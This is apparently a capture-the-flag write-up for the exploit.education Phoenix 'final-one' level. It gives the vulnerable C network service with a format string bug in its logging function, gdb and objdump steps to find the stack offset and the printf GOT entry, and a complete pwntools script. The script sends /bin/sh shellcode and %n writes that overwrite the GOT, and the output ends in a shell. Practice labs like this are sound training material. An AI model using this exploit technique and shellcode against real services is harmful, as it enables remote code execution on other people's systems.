Phoenix - Final One
#include <arpa/inet.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <syslog.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char username[128];
char hostname[64];
FILE *output;
void logit(char *pw) {
char buf[2048];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n",
hostname, username, pw);
fprintf(output, buf);
}
void trim(char *str) {
char *q;
q = strchr(str, '\r');
if (q) *q = 0;
q = strchr(str, '\n');
if (q) *q = 0;
}
void parser() {
char line[128];
printf("[final1] $ ");
while (fgets(line, sizeof(line) - 1, stdin)) {
trim(line);
if (strncmp(line, "username ", 9) == 0) {
strcpy(username, line + 9);
} else if (strncmp(line, "login ", 6) == 0) {
if (username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
int testing;
void getipport() {
socklen_t l;
struct sockaddr_in sin;
if (testing) {
strcpy(hostname, "testing:12121");
return;
}
l = sizeof(struct sockaddr_in);
if (getpeername(0, (void *)&sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp) {
if (argc >= 2) {
testing = !strcmp(argv[1], "--test");
output = stderr;
} else {
output = fopen("/dev/null", "w");
if (!output) {
err(1, "fopen(/dev/null)");
}
}
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf("%s\n", BANNER);
getipport();
parser();
return 0;
}
If you take a quick look at the code you can spot the format string bug in logit function, let’s trace back to find where it’s called.
It’s called in parser function, this function takes two kinds of input (username followed by a string OR login).
username STRING stores the string in line and login calls logit function with that string as argument.
The bug here is that snprintf copies the string argument to buf then fprintf prints this string without using %s, hence the bug.
$ /opt/phoenix/i486/final-one --test
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $ username AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
[final1] $ login
Login from testing:12121 as [AAAA0.0.69676f4c.7266206e.74206d6f.69747365.313a676e.31323132.20736120.4141415b.2e782541.252e7825.78252e78.2e78252e.252e7825] with password []
login failed
We can see that AAA appears at 9th place with 5b as first byte so we will use AAA as offset then we enter the address we want to write to, but first we choose a good address.
The best choice if to overwrite a GOT entry, here we will overwrite the address of printf.
So we need to know the address of the buffer that will contain the shellcode. Open two terminals (you can use tmux or screen):
# First Terminal
$ nc localhost 64014
Welcome to phoenix/final-one, brought to you by https://exploit.education
[final1] $
# Second Terminal
$ ps aux | grep final
phoenix+ 1114 0.0 0.0 736 8 ? Ss 12:17 0:00 /opt/phoenix/i486/final-one
user 1134 0.0 0.0 5136 984 pts/3 S+ 12:18 0:00 grep final
$ sudo gdb -p 1114
Attaching to process 1114
Reading symbols from target:/opt/phoenix/i486/final-one...(no debugging symbols found)...done.
gef➤ disassemble logit
Dump of assembler code for function logit:
.....
0x08048827 <+66>: call 0x80485a0 <fprintf@plt>
0x0804882c <+71>: add esp,0x10
.....
gef➤ b *0x0804882c
Breakpoint 1 at 0x804882c
gef➤ c
Continuing.
# First Terminal
[final1] $ username AAAAA
[final1] $ login
# Second Terminal
gef➤ x/16xw $ebp-0x808
0xffffd490: 0x69676f4c 0x7266206e 0x31206d6f 0x302e3732
0xffffd4a0: 0x312e302e 0x3134333a 0x61203234 0x415b2073
0xffffd4b0: 0x41414141 0x6977205d 0x70206874 0x77737361
0xffffd4c0: 0x2064726f 0x000a5d5b 0x00000000 0x00000000
We can see that our input appears at 0xffffd4b0 with just one byte offset before (so we need just one byte offset instead of three).
$ objdump -R /opt/phoenix/i486/final-one | grep printf
08049e48 R_386_JUMP_SLOT printf
printf is at 08049e48, now we are ready to write the exploit.
Solution:
# solve.py
from pwn import *
printf = 0x08049e48
buffer = 0xffffd4c0
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'
buff = ""
buff += 'username A' # A is just an offset
buff += p32(printf+0)
buff += 'AAAA' # JUNK that will be popped with second %x
buff += p32(printf+1)
buff += 'AAAA' # JUNK that will be popped with third %x
buff += p32(printf+2)
buff += 'AAAA' # JUNK that will be popped with forth %x
buff += p32(printf+3)
buff += shellcode
buff += '%x' * 9
buff += '%45x %n' # first byte 0xc8
buff += '%19x %n' # second byte 0xd4
buff += '%42x %n' # third byte 0xff
buff += '%255x %n \n' # forth byte 0xff
buff += 'login \n'
p = remote('localhost', 64014)
print(p.recvline())
p.send(buff)
p.interactive()
Notice that we used AAAA between addresses because we use %nx instead of normal characters which will pop an a value from the stack.
$ python x.py
[+] Opening connection to localhost on port 64014: Done
Welcome to phoenix/final-one, brought to you by https://exploit.education
[*] Switching to interactive mode
[final1] $ [final1] $ login failed
$ whoami
phoenix-i386-final-one